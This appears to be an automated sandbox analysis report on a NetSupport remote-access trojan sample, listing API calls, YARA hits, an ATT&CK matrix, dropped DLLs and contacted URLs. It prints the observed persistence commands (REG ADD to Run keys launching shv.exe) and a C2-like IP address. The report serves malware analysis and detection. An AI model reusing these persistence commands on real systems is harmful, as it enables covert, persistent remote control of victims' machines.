Code function: 0_2_00007FF6FE1AB190 EndDialog,SetDlgItemTextW,GetMessageW,IsDialogMessageW,TranslateMessage,DispatchMessageW,EndDialog,GetDlgItem,SendMessageW,SendMessageW,SetFocus,GetLastError,GetLastError,GetTickCount,GetLastError,GetCommandLineW,CreateFileMappingW,MapViewOfFile,ShellExecuteExW,Sleep,UnmapViewOfFile,CloseHandle,SetDlgItemTextW,SetWindowTextW,SetDlgItemTextW,SetWindowTextW,GetDlgItem,GetWindowLongPtrW,SetWindowLongPtrW,SetDlgItemTextW,SendMessageW,SendDlgItemMessageW,GetDlgItem,SendMessageW,GetDlgItem,SetDlgItemTextW,SetDlgItemTextW,DialogBoxParamW,EndDialog,EnableWindow,SendMessageW,SetDlgItemTextW,_invalid_parameter_noinfo_noreturn,_invalid_parameter_noinfo_noreturn,_invalid_parameter_noinfo_noreturn,_invalid_parameter_noinfo_noreturn,_invalid_parameter_noinfo_noreturn,_invalid_parameter_noinfo_noreturn,SendDlgItemMessageW,EndDialog,GetDlgItem,SetFocus,SendDlgItemMessageW,FindFirstFileW,FindClose,SendDlgItemMessageW,_invalid_parameter_noinfo_noreturn,_invalid_parameter_noinfo_noreturn,_invalid_parameter_noinfo_noreturn,_invalid_parameter_noinfo_noreturn,_invalid_parameter_noinfo_noreturn,_invalid_parameter_noinfo_noreturn,

0_2_00007FF6FE1AB190

Source: C:\Users\Public\Netstat\shv.exe

Code function: 5_2_1111FCA0 GetForegroundWindow,GetClassNameA,GetWindowTextA,keybd_event,keybd_event,keybd_event,

5_2_1111FCA0

Source: C:\Users\user\Desktop\file.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c ""C:\Users\Public\Netstat\netsup.bat" "	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\reg.exe REG ADD "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /V "Netstat" /t REG_SZ /F /D "C:\Users\Public\Netstat\shv.exe"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\reg.exe REG ADD "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /V "Netstat" /t REG_SZ /F /D "C:\Users\Public\Netstat\shv.exe"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\Public\Netstat\shv.exe C:\Users\Public\Netstat\shv.exe	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\reg.exe REG ADD "HKCU\SOFTWARE\Software\Supservice\Run" /V "Netstat" /t REG_SZ /F /D "C:\Users\Public\Netstat\shv.exe"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\reg.exe REG ADD "HKCU\SOFTWARE\Software\Supservice\Run" /V "Netstat" /t REG_SZ /F /D "C:\Users\Public\Netstat\shv.exe"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\Public\Netstat\shv.exe C:\Users\Public\Netstat\shv.exe	Jump to behavior

Source: C:\Users\Public\Netstat\shv.exe

Code function: 5_2_1109E190 LocalAlloc,InitializeSecurityDescriptor,SetSecurityDescriptorDacl,GetVersionExA,GetSecurityDescriptorSacl,SetSecurityDescriptorSacl,FreeLibrary,CreateFileMappingA,GetLastError,LocalFree,LocalFree,LocalFree,GetLastError,MapViewOfFile,LocalFree,LocalFree,LocalFree,GetModuleFileNameA,GetModuleFileNameA,LocalFree,LocalFree,LocalFree,_memset,GetTickCount,GetCurrentProcessId,GetModuleFileNameA,CreateEventA,CreateEventA,GetLastError,GetLastError,CreateEventA,GetLastError,GetLastError,CreateEventA,GetLastError,GetLastError,CreateEventA,GetLastError,GetLastError,GetLastError,LocalFree,LocalFree,LocalFree,GetCurrentThreadId,CreateThread,ResetEvent,ResetEvent,ResetEvent,ResetEvent,SetEvent,

5_2_1109E190

Source: C:\Users\Public\Netstat\shv.exe

Code function: 5_2_1109E910 GetTokenInformation,GetTokenInformation,GetTokenInformation,AllocateAndInitializeSid,EqualSid,

5_2_1109E910

Source: file.exe, 00000000.00000003.1673741447.000001AFA55A0000.00000004.00000020.00020000.00000000.sdmp, shv.exe, 00000005.00000002.4132635171.0000000011193000.00000002.00000001.01000000.0000000A.sdmp, shv.exe, 00000008.00000002.1694399599.0000000011193000.00000002.00000001.01000000.0000000A.sdmp	Binary or memory string: Shell_TrayWndunhandled plugin data, id=%d
Source: shv.exe, shv.exe, 00000008.00000002.1694399599.0000000011193000.00000002.00000001.01000000.0000000A.sdmp, shv.exe, 00000009.00000002.1806208659.0000000011193000.00000002.00000001.01000000.0000000A.sdmp, shv.exe, 0000000B.00000002.1886628907.0000000011193000.00000002.00000001.01000000.0000000A.sdmp	Binary or memory string: Shell_TrayWnd
Source: shv.exe, shv.exe, 00000008.00000002.1694399599.0000000011193000.00000002.00000001.01000000.0000000A.sdmp, shv.exe, 00000009.00000002.1806208659.0000000011193000.00000002.00000001.01000000.0000000A.sdmp, shv.exe, 0000000B.00000002.1886628907.0000000011193000.00000002.00000001.01000000.0000000A.sdmp	Binary or memory string: Progman

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00007FF6FE19DC70 cpuid

0_2_00007FF6FE19DC70

Source: C:\Users\user\Desktop\file.exe	Code function: GetLocaleInfoW,GetNumberFormatW,	0_2_00007FF6FE1AA2CC
Source: C:\Users\Public\Netstat\shv.exe	Code function: __getptd,_LcidFromHexString,GetLocaleInfoA,GetLocaleInfoA,GetLocaleInfoA,_strlen,GetLocaleInfoA,_strlen,_TestDefaultLanguage,	5_2_11173A35
Source: C:\Users\Public\Netstat\shv.exe	Code function: __getptd,_TranslateName,_GetLcidFromLangCountry,_GetLcidFromLanguage,_TranslateName,_GetLcidFromLangCountry,_GetLcidFromLanguage,_strlen,EnumSystemLocalesA,GetUserDefaultLCID,IsValidCodePage,IsValidLocale,GetLocaleInfoA,_strcpy_s,__invoke_watson,GetLocaleInfoA,GetLocaleInfoA,__itow_s,	5_2_11173D69
Source: C:\Users\Public\Netstat\shv.exe	Code function: _strlen,_strlen,_GetPrimaryLen,EnumSystemLocalesA,	5_2_11173CC6
Source: C:\Users\Public\Netstat\shv.exe	Code function: GetLocaleInfoA,	5_2_1116B38E
Source: C:\Users\Public\Netstat\shv.exe	Code function: __getptd,_LcidFromHexString,GetLocaleInfoA,	5_2_11173933
Source: C:\Users\Public\Netstat\shv.exe	Code function: GetLocaleInfoW,_GetPrimaryLen,_strlen,	5_2_111739DA
Source: C:\Users\Public\Netstat\shv.exe	Code function: GetLocaleInfoW,GetLocaleInfoW,GetACP,	5_2_1117383E
Source: C:\Users\Public\Netstat\shv.exe	Code function: _strlen,_GetPrimaryLen,EnumSystemLocalesA,	5_2_11173D2D
Source: C:\Users\Public\Netstat\shv.exe	Code function: __getptd,_LcidFromHexString,GetLocaleInfoA,_TestDefaultLanguage,	5_2_11173C06
Source: C:\Users\Public\Netstat\shv.exe	Code function: __getptd,_TranslateName,_GetLcidFromLangCountry,_GetLcidFromLanguage,_TranslateName,_GetLcidFromLangCountry,_GetLcidFromLanguage,_strlen,EnumSystemLocalesA,GetUserDefaultLCID,IsValidCodePage,IsValidLocale,GetLocaleInfoA,_strcpy_s,__invoke_watson,GetLocaleInfoA,GetLocaleInfoA,__itow_s,	8_2_11173D69
Source: C:\Users\Public\Netstat\shv.exe	Code function: GetLocaleInfoA,	8_2_1116B38E
Source: C:\Users\Public\Netstat\shv.exe	Code function: __getptd,_LcidFromHexString,GetLocaleInfoA,	8_2_11173933
Source: C:\Users\Public\Netstat\shv.exe	Code function: GetLocaleInfoW,_GetPrimaryLen,_strlen,	8_2_111739DA
Source: C:\Users\Public\Netstat\shv.exe	Code function: GetLocaleInfoW,GetLocaleInfoW,GetACP,	8_2_1117383E
Source: C:\Users\Public\Netstat\shv.exe	Code function: __getptd,_LcidFromHexString,GetLocaleInfoA,GetLocaleInfoA,GetLocaleInfoA,_strlen,GetLocaleInfoA,_strlen,_TestDefaultLanguage,	8_2_11173A35
Source: C:\Users\Public\Netstat\shv.exe	Code function: _strlen,_GetPrimaryLen,EnumSystemLocalesA,	8_2_11173D2D
Source: C:\Users\Public\Netstat\shv.exe	Code function: __getptd,_LcidFromHexString,GetLocaleInfoA,_TestDefaultLanguage,	8_2_11173C06
Source: C:\Users\Public\Netstat\shv.exe	Code function: _strlen,_strlen,_GetPrimaryLen,EnumSystemLocalesA,	8_2_11173CC6

Source: C:\Users\Public\Netstat\shv.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\Public\Netstat\shv.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\Public\Netstat\shv.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\Public\Netstat\shv.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\Public\Netstat\shv.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\Public\Netstat\shv.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\Public\Netstat\shv.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\Public\Netstat\shv.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\Public\Netstat\shv.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\Public\Netstat\shv.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\Public\Netstat\shv.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior

Source: C:\Users\Public\Netstat\shv.exe

Code function: 5_2_110F33F0 LocalAlloc,InitializeSecurityDescriptor,SetSecurityDescriptorDacl,CreateNamedPipeA,GetLastError,Sleep,CreateNamedPipeA,LocalFree,

5_2_110F33F0

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00007FF6FE1B0754 GetCommandLineW,OpenFileMappingW,MapViewOfFile,UnmapViewOfFile,MapViewOfFile,UnmapViewOfFile,CloseHandle,SetEnvironmentVariableW,GetLocalTime,swprintf,SetEnvironmentVariableW,GetModuleHandleW,LoadIconW,DialogBoxParamW,Sleep,DeleteObject,DeleteObject,CloseHandle,OleUninitialize,_invalid_parameter_noinfo_noreturn,_invalid_parameter_noinfo_noreturn,_invalid_parameter_noinfo_noreturn,

0_2_00007FF6FE1B0754

Source: C:\Users\Public\Netstat\shv.exe

Code function: 5_2_1103B160 SHGetFolderPathA,GetUserNameA,DeleteFileA,_sprintf,_fputs,_free,GetFileAttributesA,SetFileAttributesA,

5_2_1103B160

Source: C:\Users\Public\Netstat\shv.exe

Code function: 8_2_11174AE9 __lock,____lc_codepage_func,__getenv_helper_nolock,_free,_strlen,__malloc_crt,_strlen,_strcpy_s,__invoke_watson,_free,GetTimeZoneInformation,WideCharToMultiByte,WideCharToMultiByte,WideCharToMultiByte,

8_2_11174AE9

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00007FF6FE194EB0 GetVersionExW,

0_2_00007FF6FE194EB0

Source: C:\Users\Public\Netstat\shv.exe	Code function: 5_2_11070090 CapiHangup,CapiClose,CapiOpen,CapiListen,GetTickCount,GetTickCount,GetTickCount,CapiHangup,Sleep,GetTickCount,Sleep,	5_2_11070090
Source: C:\Users\Public\Netstat\shv.exe	Code function: 5_2_110D8200 __CxxThrowException@8,gethostbyname,WSAGetLastError,_memmove,htons,socket,WSAGetLastError,#21,bind,WSAGetLastError,listen,WSAGetLastError,accept,WSAGetLastError,	5_2_110D8200
Source: C:\Users\Public\Netstat\shv.exe	Code function: 8_2_11070090 CapiHangup,CapiClose,CapiOpen,CapiListen,GetTickCount,GetTickCount,GetTickCount,CapiHangup,Sleep,GetTickCount,Sleep,	8_2_11070090
Source: C:\Users\Public\Netstat\shv.exe	Code function: 8_2_110D8200 __CxxThrowException@8,gethostbyname,WSAGetLastError,_memmove,htons,socket,WSAGetLastError,#21,bind,WSAGetLastError,listen,WSAGetLastError,accept,WSAGetLastError,	8_2_110D8200

Source: Yara match	File source: 5.2.shv.exe.f00000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 9.2.shv.exe.f00000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 9.0.shv.exe.f00000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 11.2.shv.exe.f00000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 8.2.shv.exe.73af0000.5.unpack, type: UNPACKEDPE
Source: Yara match	File source: 8.0.shv.exe.f00000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 11.2.shv.exe.73af0000.5.unpack, type: UNPACKEDPE
Source: Yara match	File source: 5.2.shv.exe.73af0000.6.unpack, type: UNPACKEDPE
Source: Yara match	File source: 11.2.shv.exe.6e540000.4.unpack, type: UNPACKEDPE
Source: Yara match	File source: 5.2.shv.exe.111b79e0.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 5.2.shv.exe.6e540000.5.unpack, type: UNPACKEDPE
Source: Yara match	File source: 14.2.shv.exe.f00000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 14.2.shv.exe.6e540000.4.unpack, type: UNPACKEDPE
Source: Yara match	File source: 14.0.shv.exe.f00000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 9.2.shv.exe.6e540000.4.unpack, type: UNPACKEDPE
Source: Yara match	File source: 5.0.shv.exe.f00000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.3.file.exe.1afa5756820.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 9.2.shv.exe.73af0000.5.unpack, type: UNPACKEDPE
Source: Yara match	File source: 11.2.shv.exe.111b79e0.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 14.2.shv.exe.73af0000.5.unpack, type: UNPACKEDPE
Source: Yara match	File source: 8.2.shv.exe.f00000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 8.2.shv.exe.6e540000.4.unpack, type: UNPACKEDPE
Source: Yara match	File source: 9.2.shv.exe.111b79e0.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 11.0.shv.exe.f00000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 8.2.shv.exe.111b79e0.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 14.2.shv.exe.111b79e0.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 5.2.shv.exe.6cd70000.3.unpack, type: UNPACKEDPE
Source: Yara match	File source: 11.2.shv.exe.11000000.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 9.2.shv.exe.11000000.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 8.2.shv.exe.11000000.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 14.2.shv.exe.11000000.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 5.2.shv.exe.11000000.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000009.00000002.1806388208.00000000111E1000.00000004.00000001.01000000.0000000A.sdmp, type: MEMORY
Source: Yara match	File source: 0000000B.00000002.1886663530.00000000111E1000.00000004.00000001.01000000.0000000A.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000002.4131581542.0000000000F02000.00000002.00000001.01000000.00000009.sdmp, type: MEMORY
Source: Yara match	File source: 00000008.00000000.1691809237.0000000000F02000.00000002.00000001.01000000.00000009.sdmp, type: MEMORY
Source: Yara match	File source: 0000000E.00000002.1968165061.0000000000F02000.00000002.00000001.01000000.00000009.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.1675691550.000001AFA17C4000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000B.00000000.1884540195.0000000000F02000.00000002.00000001.01000000.00000009.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.1675726387.000001AFA17C4000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000009.00000002.1805359841.0000000000F02000.00000002.00000001.01000000.00000009.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.1674859649.000001AFA17C2000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000000.1680595805.0000000000F02000.00000002.00000001.01000000.00000009.sdmp, type: MEMORY
Source: Yara match	File source: 0000000B.00000002.1886119575.0000000000F02000.00000002.00000001.01000000.00000009.sdmp, type: MEMORY
Source: Yara match	File source: 00000008.00000002.1694138825.0000000000F02000.00000002.00000001.01000000.00000009.sdmp, type: MEMORY
Source: Yara match	File source: 00000009.00000002.1806208659.0000000011193000.00000002.00000001.01000000.0000000A.sdmp, type: MEMORY
Source: Yara match	File source: 0000000E.00000000.1965850134.0000000000F02000.00000002.00000001.01000000.00000009.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000002.4133041129.000000006CDB0000.00000002.00000001.01000000.0000000E.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000002.4132682432.00000000111E1000.00000004.00000001.01000000.0000000A.sdmp, type: MEMORY
Source: Yara match	File source: 00000008.00000002.1694399599.0000000011193000.00000002.00000001.01000000.0000000A.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000002.4132635171.0000000011193000.00000002.00000001.01000000.0000000A.sdmp, type: MEMORY
Source: Yara match	File source: 00000008.00000002.1694438358.00000000111E1000.00000004.00000001.01000000.0000000A.sdmp, type: MEMORY
Source: Yara match	File source: 0000000E.00000002.1968482175.00000000111E1000.00000004.00000001.01000000.0000000A.sdmp, type: MEMORY
Source: Yara match	File source: 00000009.00000000.1802595368.0000000000F02000.00000002.00000001.01000000.00000009.sdmp, type: MEMORY
Source: Yara match	File source: 0000000B.00000002.1886628907.0000000011193000.00000002.00000001.01000000.0000000A.sdmp, type: MEMORY
Source: Yara match	File source: 0000000E.00000002.1968430156.0000000011193000.00000002.00000001.01000000.0000000A.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.1673741447.000001AFA55A0000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: file.exe PID: 6336, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: shv.exe PID: 3492, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: shv.exe PID: 7008, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: shv.exe PID: 6340, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: shv.exe PID: 3244, type: MEMORYSTR
Source: Yara match	File source: C:\Users\Public\Netstat\shv.exe, type: DROPPED
Source: Yara match	File source: C:\Users\Public\Netstat\pcicapi.dll, type: DROPPED
Source: Yara match	File source: C:\Users\Public\Netstat\PCICHEK.DLL, type: DROPPED
Source: Yara match	File source: C:\Users\Public\Netstat\TCCTL32.DLL, type: DROPPED
Source: Yara match	File source: C:\Users\Public\Netstat\HTCTL32.DLL, type: DROPPED
Source: Yara match	File source: C:\Users\Public\Netstat\PCICL32.DLL, type: DROPPED

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	1 Scripting	2 Valid Accounts	1 Windows Management Instrumentation	1 Scripting	1 Exploitation for Privilege Escalation	1 Deobfuscate/Decode Files or Information	1 Input Capture	2 System Time Discovery	Remote Services	1 Archive Collected Data	1 Ingress Tool Transfer	Exfiltration Over Other Network Medium	1 System Shutdown/Reboot
Credentials	Domains	Default Accounts	4 Native API	1 DLL Side-Loading	1 DLL Side-Loading	3 Obfuscated Files or Information	LSASS Memory	1 Account Discovery	Remote Desktop Protocol	1 Screen Capture	22 Encrypted Channel	Exfiltration Over Bluetooth	1 Defacement
Email Addresses	DNS Server	Domain Accounts	1 Command and Scripting Interpreter	2 Valid Accounts	2 Valid Accounts	2 Software Packing	Security Account Manager	2 File and Directory Discovery	SMB/Windows Admin Shares	1 Input Capture	3 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	2 Service Execution	1 Windows Service	21 Access Token Manipulation	1 DLL Side-Loading	NTDS	44 System Information Discovery	Distributed Component Object Model	3 Clipboard Data	4 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	1 Registry Run Keys / Startup Folder	1 Windows Service	1 Masquerading	LSA Secrets	141 Security Software Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	13 Process Injection	2 Valid Accounts	Cached Domain Credentials	2 Virtualization/Sandbox Evasion	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	1 Registry Run Keys / Startup Folder	1 Modify Registry	DCSync	1 Process Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	2 Virtualization/Sandbox Evasion	Proc Filesystem	11 Application Window Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement
Network Topology	Malvertising	Exploit Public-Facing Application	Command and Scripting Interpreter	At	At	21 Access Token Manipulation	/etc/passwd and /etc/shadow	1 System Owner/User Discovery	Direct Cloud VM Connections	Data Staged	Web Protocols	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Internal Defacement
IP Addresses	Compromise Infrastructure	Supply Chain Compromise	PowerShell	Cron	Cron	13 Process Injection	Network Sniffing	Network Service Discovery	Shared Webroot	Local Data Staging	File Transfer Protocols	Exfiltration Over Asymmetric Encrypted Non-C2 Protocol	External Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
file.exe	39%	ReversingLabs	Win64.Trojan.NetSupport

Dropped Files

Source	Detection	Scanner	Label
C:\Users\Public\Netstat\HTCTL32.DLL	3%	ReversingLabs
C:\Users\Public\Netstat\PCICHEK.DLL	3%	ReversingLabs
C:\Users\Public\Netstat\PCICL32.DLL	12%	ReversingLabs
C:\Users\Public\Netstat\TCCTL32.DLL	3%	ReversingLabs
C:\Users\Public\Netstat\msvcr100.dll	0%	ReversingLabs
C:\Users\Public\Netstat\pcicapi.dll	3%	ReversingLabs
C:\Users\Public\Netstat\remcmdstub.exe	13%	ReversingLabs
C:\Users\Public\Netstat\shv.exe	29%	ReversingLabs	Win32.Trojan.NetSupport

Source	Detection	Scanner	Label	Link
http://45.61.128.74/fakeurl.htm	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
geo.netsupportsoftware.com	104.26.1.231	true	false		high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://45.61.128.74/fakeurl.htm	true	Avira URL Cloud: safe	unknown
http://geo.netsupportsoftware.com/location/loca.asp	false		high

URLs from Memory and Binaries

Name	Source	Malicious	Reputation
http://www.pci.co.uk/support	file.exe, 00000000.00000003.1673741447.000001AFA55A0000.00000004.00000020.00020000.00000000.sdmp, shv.exe, 00000005.00000002.4132682432.00000000111E1000.00000004.00000001.01000000.0000000A.sdmp, shv.exe, 00000008.00000002.1694438358.00000000111E1000.00000004.00000001.01000000.0000000A.sdmp, shv.exe, 00000009.00000002.1806388208.00000000111E1000.00000004.00000001.01000000.0000000A.sdmp, shv.exe, 0000000B.00000002.1886663530.00000000111E1000.00000004.00000001.01000000.0000000A.sdmp, shv.exe, 0000000E.00000002.1968482175.00000000111E1000.00000004.00000001.01000000.0000000A.sdmp, PCICL32.DLL.0.dr	false	high
http://%s/testpage.htmwininet.dll	file.exe, 00000000.00000003.1673741447.000001AFA55A0000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1675691550.000001AFA17C4000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1675726387.000001AFA17C4000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1674859649.000001AFA17C2000.00000004.00000020.00020000.00000000.sdmp, shv.exe, 00000005.00000002.4133041129.000000006CDB0000.00000002.00000001.01000000.0000000E.sdmp, HTCTL32.DLL.0.dr	false	high
http://geo.netsupportsoftware.com/location/loca.asp$	shv.exe, 00000005.00000002.4131206311.0000000000B9F000.00000004.00000020.00020000.00000000.sdmp	false	high
http://geo.netsupportsoftware.com/location/loca.aspSetChannel(%s)	file.exe, 00000000.00000003.1673741447.000001AFA55A0000.00000004.00000020.00020000.00000000.sdmp, shv.exe, 00000005.00000002.4132635171.0000000011193000.00000002.00000001.01000000.0000000A.sdmp, shv.exe, 00000008.00000002.1694399599.0000000011193000.00000002.00000001.01000000.0000000A.sdmp, shv.exe, 00000009.00000002.1806208659.0000000011193000.00000002.00000001.01000000.0000000A.sdmp, shv.exe, 0000000B.00000002.1886628907.0000000011193000.00000002.00000001.01000000.0000000A.sdmp, shv.exe, 0000000E.00000002.1968430156.0000000011193000.00000002.00000001.01000000.0000000A.sdmp, PCICL32.DLL.0.dr	false	high
http://www.pci.co.uk/supportsupport	file.exe, 00000000.00000003.1673741447.000001AFA55A0000.00000004.00000020.00020000.00000000.sdmp, shv.exe, 00000005.00000002.4132682432.00000000111E1000.00000004.00000001.01000000.0000000A.sdmp, shv.exe, 00000008.00000002.1694438358.00000000111E1000.00000004.00000001.01000000.0000000A.sdmp, shv.exe, 00000009.00000002.1806388208.00000000111E1000.00000004.00000001.01000000.0000000A.sdmp, shv.exe, 0000000B.00000002.1886663530.00000000111E1000.00000004.00000001.01000000.0000000A.sdmp, shv.exe, 0000000E.00000002.1968482175.00000000111E1000.00000004.00000001.01000000.0000000A.sdmp, PCICL32.DLL.0.dr	false	high
http://www.symauth.com/rpa00	file.exe, 00000000.00000003.1673741447.000001AFA55A0000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1673741447.000001AFA592D000.00000004.00000020.00020000.00000000.sdmp, HTCTL32.DLL.0.dr, pcicapi.dll.0.dr, PCICL32.DLL.0.dr, shv.exe.0.dr, TCCTL32.DLL.0.dr, PCICHEK.DLL.0.dr	false	high
http://127.0.0.1RESUMEPRINTING	file.exe, 00000000.00000003.1673741447.000001AFA55A0000.00000004.00000020.00020000.00000000.sdmp, shv.exe, 00000005.00000002.4132635171.0000000011193000.00000002.00000001.01000000.0000000A.sdmp, shv.exe, 00000008.00000002.1694399599.0000000011193000.00000002.00000001.01000000.0000000A.sdmp, shv.exe, 00000009.00000002.1806208659.0000000011193000.00000002.00000001.01000000.0000000A.sdmp, shv.exe, 0000000B.00000002.1886628907.0000000011193000.00000002.00000001.01000000.0000000A.sdmp, shv.exe, 0000000E.00000002.1968430156.0000000011193000.00000002.00000001.01000000.0000000A.sdmp, PCICL32.DLL.0.dr	false	high
http://%s/testpage.htm	file.exe, 00000000.00000003.1673741447.000001AFA55A0000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1675691550.000001AFA17C4000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1675726387.000001AFA17C4000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1674859649.000001AFA17C2000.00000004.00000020.00020000.00000000.sdmp, shv.exe, shv.exe, 00000005.00000002.4133041129.000000006CDB0000.00000002.00000001.01000000.0000000E.sdmp, HTCTL32.DLL.0.dr	false	high
http://geo.netsupportsoftware.com/location/loca.asp0	shv.exe, 00000005.00000002.4131206311.0000000000B90000.00000004.00000020.00020000.00000000.sdmp	false	high
http://www.netsupportschool.com/tutor-assistant.asp11(	file.exe, 00000000.00000003.1673741447.000001AFA55A0000.00000004.00000020.00020000.00000000.sdmp, shv.exe, 00000005.00000002.4132682432.00000000111E1000.00000004.00000001.01000000.0000000A.sdmp, shv.exe, 00000008.00000002.1694438358.00000000111E1000.00000004.00000001.01000000.0000000A.sdmp, shv.exe, 00000009.00000002.1806388208.00000000111E1000.00000004.00000001.01000000.0000000A.sdmp, shv.exe, 0000000B.00000002.1886663530.00000000111E1000.00000004.00000001.01000000.0000000A.sdmp, shv.exe, 0000000E.00000002.1968482175.00000000111E1000.00000004.00000001.01000000.0000000A.sdmp, PCICL32.DLL.0.dr	false	high
http://geo.netsupportsoftware.com/Echo	shv.exe, 00000005.00000002.4131206311.0000000000B90000.00000004.00000020.00020000.00000000.sdmp	false	high
http://127.0.0.1	shv.exe, shv.exe, 00000008.00000002.1694399599.0000000011193000.00000002.00000001.01000000.0000000A.sdmp, shv.exe, 00000009.00000002.1806208659.0000000011193000.00000002.00000001.01000000.0000000A.sdmp, shv.exe, 0000000B.00000002.1886628907.0000000011193000.00000002.00000001.01000000.0000000A.sdmp, shv.exe, 0000000E.00000002.1968430156.0000000011193000.00000002.00000001.01000000.0000000A.sdmp, PCICL32.DLL.0.dr	false	high
http://www.symauth.com/cps0(	file.exe, 00000000.00000003.1673741447.000001AFA55A0000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1673741447.000001AFA592D000.00000004.00000020.00020000.00000000.sdmp, HTCTL32.DLL.0.dr, pcicapi.dll.0.dr, PCICL32.DLL.0.dr, shv.exe.0.dr, TCCTL32.DLL.0.dr, PCICHEK.DLL.0.dr	false	high
